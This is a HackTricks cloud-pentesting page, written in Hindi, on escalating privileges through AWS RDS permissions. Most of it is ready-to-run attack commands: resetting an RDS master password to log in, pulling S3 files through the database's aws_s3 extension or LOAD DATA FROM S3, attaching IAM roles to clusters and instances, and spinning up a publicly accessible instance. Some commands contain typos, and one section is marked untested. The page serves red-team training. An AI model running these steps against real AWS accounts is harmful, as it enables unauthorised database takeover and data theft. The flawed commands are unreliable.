AWS - RDS Privesc

Reading time: 7 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

RDS - रिलेशनल डेटाबेस सेवा

RDS के बारे में अधिक जानकारी के लिए देखें:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

इस अनुमति के साथ एक हमलावर मास्टर उपयोगकर्ता का पासवर्ड बदल सकता है, और डेटाबेस के अंदर लॉगिन:

bash
# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

warning

आपको डेटाबेस से संपर्क करने में सक्षम होना चाहिए (वे आमतौर पर केवल अंदर के नेटवर्क से सुलभ होते हैं)।

संभावित प्रभाव: डेटाबेस के अंदर संवेदनशील जानकारी खोजें।

rds-db:connect

दस्तावेज़ों के अनुसार, इस अनुमति के साथ एक उपयोगकर्ता DB इंस्टेंस से कनेक्ट कर सकता है।

RDS भूमिका IAM अनुमतियों का दुरुपयोग

पोस्टग्रेसक्यूएल (ऑरोरा)

tip

यदि आप SELECT datname FROM pg_database; चलाते हैं और आपको rdsadmin नामक एक डेटाबेस मिलता है, तो आप जानते हैं कि आप एक AWS पोस्टग्रेसक्यूएल डेटाबेस के अंदर हैं।

पहले आप यह जांच सकते हैं कि क्या इस डेटाबेस का उपयोग किसी अन्य AWS सेवा तक पहुँचने के लिए किया गया है। आप स्थापित एक्सटेंशन को देखकर यह जांच सकते हैं:

sql
SELECT * FROM pg_extension;

यदि आप कुछ ऐसा पाते हैं जैसे aws_s3 तो आप मान सकते हैं कि इस डेटाबेस के पास S3 पर कुछ प्रकार की पहुंच है (अन्य एक्सटेंशन जैसे aws_ml और aws_lambda भी हैं)।

इसके अलावा, यदि आपके पास aws rds describe-db-clusters चलाने की अनुमति है, तो आप वहां देख सकते हैं कि क्लस्टर में कोई IAM भूमिका संलग्न है या नहीं, क्षेत्र AssociatedRoles में। यदि कोई है, तो आप मान सकते हैं कि डेटाबेस अन्य AWS सेवाओं तक पहुंचने के लिए तैयार किया गया थाभूमिका के नाम के आधार पर (या यदि आप भूमिका के अनुमतियों को प्राप्त कर सकते हैं) आप अनुमान लगा सकते हैं कि डेटाबेस के पास क्या अतिरिक्त पहुंच है।

अब, एक बकेट के अंदर एक फ़ाइल पढ़ने के लिए आपको पूरा पथ जानना होगा। आप इसे पढ़ सकते हैं:

sql
// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

यदि आपके पास कच्चे AWS क्रेडेंशियल्स हैं, तो आप उन्हें S3 डेटा तक पहुँचने के लिए भी उपयोग कर सकते हैं:

sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

note

Postgresql को S3 तक पहुँचने के लिए किसी भी पैरामीटर समूह चर को बदलने की आवश्यकता नहीं है

Mysql (Aurora)

tip

एक mysql के अंदर, यदि आप क्वेरी SELECT User, Host FROM mysql.user; चलाते हैं और वहाँ एक उपयोगकर्ता है जिसका नाम rdsadmin है, तो आप मान सकते हैं कि आप एक AWS RDS mysql db के अंदर हैं।

Mysql के अंदर show variables; चलाएँ और यदि चर जैसे aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role के मान हैं, तो आप मान सकते हैं कि डेटाबेस S3 डेटा तक पहुँचने के लिए तैयार है।

इसके अलावा, यदि आपके पास aws rds describe-db-clusters चलाने की अनुमति है, तो आप जांच सकते हैं कि क्या क्लस्टर में कोई संबंधित भूमिका है, जिसका आमतौर पर मतलब AWS सेवाओं तक पहुँच है।

अब, एक बकेट के अंदर एक फ़ाइल पढ़ने के लिए आपको पूरा पथ जानना होगा। आप इसे पढ़ सकते हैं:

sql
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

एक हमलावर जिसके पास rds:AddRoleToDBCluster और iam:PassRole की अनुमति है, वह एक मौजूदा RDS उदाहरण में एक निर्दिष्ट भूमिका जोड़ सकता है। इससे हमलावर को संवेदनशील डेटा तक पहुंच या उदाहरण के भीतर डेटा को संशोधित करने की अनुमति मिल सकती है।

bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

संभावित प्रभाव: RDS उदाहरण में संवेदनशील डेटा तक पहुंच या डेटा में अनधिकृत संशोधन।
ध्यान दें कि कुछ DBs को अतिरिक्त कॉन्फ़िगरेशन की आवश्यकता होती है जैसे Mysql, जिसे पैरामीटर समूहों में भूमिका ARN निर्दिष्ट करने की आवश्यकता होती है।

rds:CreateDBInstance

इस अनुमति के साथ एक हमलावर एक क्लस्टर के अंदर एक नया उदाहरण बना सकता है जो पहले से मौजूद है और जिसमें एक IAM भूमिका संलग्न है। वह मास्टर उपयोगकर्ता पासवर्ड को बदलने में असमर्थ होगा, लेकिन वह नए डेटाबेस उदाहरण को इंटरनेट पर उजागर करने में सक्षम हो सकता है:

bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

note

TODO: Test

एक हमलावर जिसके पास rds:CreateDBInstance और iam:PassRole की अनुमति है, एक निर्दिष्ट भूमिका के साथ एक नया RDS उदाहरण बना सकता है। हमलावर फिर संभावित रूप से संवेदनशील डेटा तक पहुँच या उदाहरण के भीतर डेटा को संशोधित कर सकता है।

warning

भूमिका/उदाहरण-प्रोफ़ाइल को संलग्न करने की कुछ आवश्यकताएँ ( यहाँ से):

  • प्रोफ़ाइल आपके खाते में मौजूद होनी चाहिए।
  • प्रोफ़ाइल के पास एक IAM भूमिका होनी चाहिए जिसे Amazon EC2 द्वारा ग्रहण करने की अनुमति हो।
  • उदाहरण प्रोफ़ाइल नाम और संबंधित IAM भूमिका नाम को AWSRDSCustom उपसर्ग से शुरू होना चाहिए।
bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

संभावित प्रभाव: RDS उदाहरण में संवेदनशील डेटा तक पहुंच या डेटा में अनधिकृत संशोधन।

rds:AddRoleToDBInstance, iam:PassRole

एक हमलावर जिसके पास rds:AddRoleToDBInstance और iam:PassRole की अनुमति है, वह एक मौजूदा RDS उदाहरण में एक निर्दिष्ट भूमिका जोड़ सकता है। इससे हमलावर को संवेदनशील डेटा तक पहुंच या उदाहरण के भीतर डेटा को संशोधित करने की अनुमति मिल सकती है।

warning

DB उदाहरण को इसके लिए क्लस्टर के बाहर होना चाहिए

bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

संभावित प्रभाव: RDS उदाहरण में संवेदनशील डेटा तक पहुंच या डेटा में अनधिकृत संशोधन।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें